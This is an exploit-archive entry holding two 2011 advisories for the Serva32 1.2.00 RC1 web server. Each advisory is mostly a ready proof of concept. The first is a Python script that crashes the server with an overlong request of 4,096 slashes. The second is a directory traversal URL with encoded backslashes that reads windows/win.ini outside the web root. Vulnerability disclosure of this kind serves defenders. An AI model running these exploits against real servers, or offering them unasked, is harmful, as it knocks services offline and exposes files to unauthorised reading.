Serva32 1.2.00 RC1 Denial Of Service



EKU-ID: 193 CVE: OSVDB-ID:
Author: John Published: 2011-05-09 Verified: Not Verified
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# ------------------------------------------------------------------------
# Software................Serva32 1.2.00 RC1
# Vulnerability...........Denial Of Service
# Threat Level............Serious (3/5)
# Download................http://www.vercot.com/~serva/
# Discovery Date..........5/7/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch 
# ------------------------------------------------------------------------
# 
# 
# --Description--
# 
# A denial of service vulnerability can be exploited to crash Serva32
# 1.2.00 RC1.
# 
# 
# --PoC--

import socket

host = 'localhost'
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)    

s.send('GET ' + '/' * 4096 + ' HTTP/1.1\r\n'
       'Host: localhost\r\n\r\n')

------------------------------------------------------------------------ 
Software................Serva32 1.2.00 RC1 
Vulnerability...........Directory Traversal 
Threat Level............Serious (3/5) 
Download................http://www.vercot.com/~serva/ 
Discovery Date..........5/7/2011 
Tested On...............Windows Vista + XAMPP 
------------------------------------------------------------------------ 
Author..................AutoSec Tools 
Site....................http://www.autosectools.com/ 
Email...................John Leitch  
------------------------------------------------------------------------ 
  
  
--Description-- 
  
A directory traversal vulnerability in Serva32 1.2.00 RC1 can be 
exploited to read files outside of the web root. 
  
  
--PoC-- 
  
http://localhost/..%5C/..%5C/..%5C/..%5C/..%5C/..%5C/..%5C/..%5C/windows/win.ini